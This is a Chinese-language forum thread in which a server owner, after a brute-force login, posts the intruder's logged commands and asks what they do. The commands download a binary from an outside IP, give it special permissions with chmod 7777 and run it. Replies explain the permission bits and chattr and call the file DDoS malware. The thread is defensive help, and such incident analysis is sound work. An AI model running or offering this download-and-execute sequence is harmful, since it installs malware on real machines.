站点密码被暴力破解留下了操作记录，有几个命令不是太理解

This topic created in 4355 days ago, the information mentioned may be changed or developed.

wget http://122.224.32.32:51/prfos
chmod 7777 ./prfos
./prfos
chattr +s /tmp/prfos

chmod 7777是干嘛用的，一般不都是777吗？多的一位用意是？
prfos我看了下是二进制文件。后面直接运行后chattr是什么用意？
我现在改密码后将prfos删了能保证该代码不再运行了吗？
该主机从没设域名只有内部使用，黑客是如何扫描到的，并判断出该主机上有这个账号的？
=======
登录的两次ip
58.83.131.67 北京市世纪互联
60.190.139.34 浙江省嘉兴市电信

Supplement 1 · Jun 27, 2014

附上7天的监控图

Supplement 2 · Jun 27, 2014

使用 @xi4oh4o 大大推荐的rkhunter扫描了下，暂时没看出什么大问题。有些waring我也不是太确定，筛选带有waring的贴一下。
checking system commands.
Performing file properties checks
Checking for prerequisites [ Warning ]
/usr/sbin/adduser [ Warning ]
/usr/bin/ldd [ Warning ]
/bin/which [ Warning ]

Performing system configuration file checks
Checking if SSH root access is allowed [ Warning ]
Checking if syslog remote logging is allowed [ Warning ]

Performing filesystem checks
Checking /dev for suspicious file types [ Warning ]
Checking for hidden files and directories [ Warning ]

Checking application versions...
Checking version of GnuPG [ Warning ]
Checking version of OpenSSL [ Warning ]
Checking version of OpenSSH [ Warning ]

prfos

chmod

chattr

16 replies • 2014-06-28 03:05:36 +08:00

letitbesqzr

Jun 27, 2014

一般是批量集群ddos的马..

9hills

Jun 27, 2014

就不能重装下系统？删了继续跑，真是胆大

jwk345

Jun 27, 2014

看这一章： http://vbird.dic.ksu.edu.tw/linux_basic/0220filemanager_4.php

loginv2

Jun 27, 2014

7777 setuid
prfos 估计是个后门之类的东西，对系统做了某些操作
然后彻底删除这个文件（用0填充掉）

loginv2

Jun 27, 2014

而且，因为有HTTP服务，所以被中途抓包或者登陆者机器的某些软件记录了操作也有可能薄弱环节无处不在

passluo

Jun 27, 2014

ddos马

yinjian

Jun 27, 2014

ubuntu下清ddos马有成熟点的方案没，比如类似win下的杀毒软件之类的工具？

wubaiqing

Jun 27, 2014

chmod 7777 特殊权限S

SBIT为1
只对目录有效，使目录下的文件，只有文件拥有者才能删除
如果他不属于owner，仅属于group或者other，就算他有w权限，也不能删除文件

SGID为2
表示运行这个程序时，是临时以这个文件的拥有组的身份运行的；
加上SGID的文件夹，表示在这个目录下创建的文件属于目录所有的组，而不是创建人所在的组，在这个目录下创建的目录继承本目录的SGID。

SUID为4
SUID与SGID是一样的，惟一不同的是，运行时是以这个文件的拥有者身份来运行。

wubaiqing

Jun 27, 2014

chattr +s /tmp/prfos

附加属性：
s：彻底删除文件，不可恢复。
因为是从磁盘上删除，然后用0填充文件所在区域。